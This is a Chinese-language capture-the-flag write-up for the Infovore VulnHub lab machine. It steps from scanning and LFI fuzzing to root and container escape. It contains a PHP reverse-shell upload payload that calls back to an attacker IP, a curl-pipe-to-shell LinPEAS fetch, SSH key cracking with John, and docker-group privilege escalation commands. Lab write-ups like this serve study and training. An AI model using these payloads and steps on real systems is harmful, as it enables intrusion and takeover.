> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md).

# Infovore: 1 VulnHub 解题记录

{% embed url="<https://www.vulnhub.com/entry/infovore-1,496/>" %}

{% hint style="warning" %}
技能：

* Web 枚举
* LFI（本地文件包含）
* 滥用在 info.php 中可见的 file/\_uploads（通过 phpinfo() + 竞争条件实现 LFI2RCE）
* 系统枚举（LinPEAS）
* 破解受保护的私有 SSH 密钥
* 滥用 SSH 密钥对信任以逃逸容器
* 滥用 docker 组（提权）
  {% endhint %}

## 侦察

#### **工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/c54b7d25e1737eadbc50b7c8767449753d981859" alt=""><figcaption></figcaption></figure>

#### **使用 arp-scan 发现 IP 地址：**

使用 arp-scan 命令检测主机的 IP 地址：

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/5991042ebca91f9994e5badd9d578c14a19d3a9a" alt=""><figcaption></figcaption></figure>

#### **使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.146 -oG allPorts
```

<figure><img src="/files/75a70dc0de5eed4a20c7e066a2f1353fea1ba27b" alt=""><figcaption></figcaption></figure>

#### **使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
 nmap -sCV -p80 192.168.71.146 -oN targeted
```

<figure><img src="/files/1cfa27b9b07de91e3c547955964402a93185cd68" alt=""><figcaption></figcaption></figure>

#### 使用 Wappalyzer 扫描服务器：

使用 Wappalyzer 判断服务器使用的是 Apache 和 PHP 编程语言。

<figure><img src="/files/3bb4e518f62c860daf593b26f4dd59ea1280c9fb" alt=""><figcaption></figcaption></figure>

#### **使用 WhatWeb 识别目标版本**

使用 WhatWeb 扫描网站并识别主机版本（Ubuntu）和 Apache：

```bash
whatweb http://192.168.71.146
```

<figure><img src="/files/c21576f8e47a35559a899d3026993975d02df135" alt=""><figcaption></figcaption></figure>

## 侦察 `info.php`

**使用 Gobuster 搜索目录：**

使用 **Gobuster** 使用字典寻找隐藏的访问文件。

```bash
gobuster dir -u http://192.168.71.146/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,txt,html,php.bak
```

<figure><img src="/files/928963787cc0328772a216f5c0911da577bf7186" alt=""><figcaption></figcaption></figure>

名为 **info.php** 的文件已找到，其中包含服务器的完整 PHP 配置。

<figure><img src="/files/a007c0408f9bbd9a9dcc084f6cab7a306f665b97" alt=""><figcaption></figcaption></figure>

可以观察到没有被禁用的函数。

<figure><img src="/files/798cf5b2c450e87c2370c2632ca4f72eb9c312ed" alt=""><figcaption></figcaption></figure>

## 文件上传漏洞：

在定位到 `info.php` 文件后，探索向服务器上传文件的可能性。

<figure><img src="/files/f2168f6fa58b7b61c274ba8d2e1fefd0ae3ed7a5" alt=""><figcaption></figcaption></figure>

**使用 Burp Suite 拦截：**

使用 Burp Suite 拦截请求。将方法从“GET”改为“POST”。<br>

<figure><img src="/files/bdbf21ef8175c2cd72f56fe91c99a34a3c5e2cbe" alt=""><figcaption></figcaption></figure>

#### 向服务器导入文本文件的请求：

使用下面的 Burp Suite 请求上传一个名为 `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain

这是一个测试
----pwned
```

<figure><img src="/files/72823183deb2536638c364c611c83a78fdbab163" alt=""><figcaption></figcaption></figure>

**PHP 代码注入：**

尝试使用相同的 Burp Suite 结构注入 PHP 代码。更改要注入文件的内容。

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned
```

#### 注入确认：

通过确认服务器上存在“cmd.php”文件来检查注入是否成功。

<figure><img src="/files/abe253313e26fc2e77a36ed88694dbccdec930e9" alt=""><figcaption></figcaption></figure>

#### LFI 搜索

为了找到 LFI 漏洞，我们使用 wfuz 工具识别一个可能重定向到 PHP 文件的参数。命令如下：

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"
```

<figure><img src="/files/e0cbed2a4f6dcd81a86186383be38682c55446b2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fb3cebe45799b464188d97282a2f7703f03ad760" alt=""><figcaption></figcaption></figure>

#### 持续文件更改带来的困难：

不幸的是，由于临时文件夹不断变化，我们无法列出 cmd.php 文件的内容：

<figure><img src="/files/1d075a470e174e709e14fb9dcfc6321fb9bc6bc0" alt=""><figcaption></figcaption></figure>

## 漏洞：竞争条件：

使用一个 [自动化脚本](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) 来利用该过程中的竞争条件。

#### 脚本适配

我们根据具体情况调整脚本。

<figure><img src="/files/29e8f4282090358ae03e37fcf45486939e9cbf39" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e2f7e457b836500015528ed2ca33b5883cb530ae" alt=""><figcaption></figcaption></figure>

#### 成功访问主机：

我们通过利用竞争条件成功获取了对主机的访问权限。

<figure><img src="/files/3f7f210d40ac3c4c45ed3bb355c5b62d4c039cc3" alt=""><figcaption></figcaption></figure>

#### 用于提权的终端稳定化：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 权限提升：

我们观察到自己处于容器中，并使用命令查找真实容器的地址（192.168.150.1）。然后检查该主机的 22 端口是否开放。

<figure><img src="/files/1dcc3ed8b8f0ac1ac731ce37ccec9bf631e21b9e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bea8a3c5722d5e433bea404e6db875faf6e6c279" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="/files/9eb2225753ce553aa67a4b609a239750d71401c9" alt=""><figcaption></figcaption></figure>

### **系统枚举（**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

我们使用 LinPEAS 进行权限识别：

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/906667505dfc0a525a1908991ab89a0e4a9aa666" alt=""><figcaption></figcaption></figure>

#### 我们在根目录中发现了一个意外的 tgz 文件夹。

<figure><img src="/files/55fc6e61b43bcc1b6723b559b9b25a06c0a27918" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### /*/* 受保护的私有 SSH 密钥破解：/*/*

#### 识别私有 SSH 密钥

我们识别出一对 OpenSSH 公钥和私钥。

<figure><img src="/files/f69e2c20fd6e38beb7de3424f20118a60bf7abe7" alt=""><figcaption></figcaption></figure>

#### 私钥破解：

* 我们观察到私钥是加密的

<figure><img src="/files/a0ac445189f2dbb6f1f9b0496731b17bdb460582" alt=""><figcaption></figcaption></figure>

* 我们使用 **ssh2john.py** 用于将文件内容转换为哈希：

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="/files/b6a84b259bdec16807df068ee4967a4b19c3a9ab" alt=""><figcaption></figcaption></figure>

* 然后我们使用 John the Ripper 和密码字典破解哈希。

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/78bc7ece113e6986702ebf4285db4d8345073426" alt=""><figcaption></figcaption></figure>

#### 以 root 身份访问：

我们以 root 身份访问到这台机器。

<figure><img src="/files/967ad64709e93ab023e49781d6eac7b9e1cbaf9a" alt=""><figcaption></figcaption></figure>

### **滥用 SSH 密钥对信任以逃出容器：**

我们尝试利用容器 ssh 目录中的 known\_hosts 配置迁移到另一台主机，从而连接到宿主机上的 admin 用户。

<figure><img src="/files/defa0c62f6c1aee301f6a037243e0d6f35491cf5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fe58725dc616e9c9b5edfdd42bb997a945dadc13" alt=""><figcaption></figcaption></figure>

### **滥用 Docker 组（提权）：**

#### [docker](/zh/privesc/user-groups/docker-group-linux-privilege-escalation.md) 组成员身份：

我们观察到自己属于 docker 组。

<figure><img src="/files/f3becf611ece11cc0ca8fab298357e0b90cba60a" alt=""><figcaption></figcaption></figure>

#### 利用 docker 组提升权限：

我们利用自己属于 docker 组的权限，在管理员容器中挂载真实机器的根目录：

```bash
docker run -dit -v /:/mnt/root --name privesc theart42/infovore
```

<figure><img src="/files/e409e130ca9f9ff7ad7fe205ef478f77fce8c330" alt=""><figcaption></figcaption></figure>

拿下了 :)

<figure><img src="/files/9f3ead5d02f3d940ad74f189a69ab751f7e7f16c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
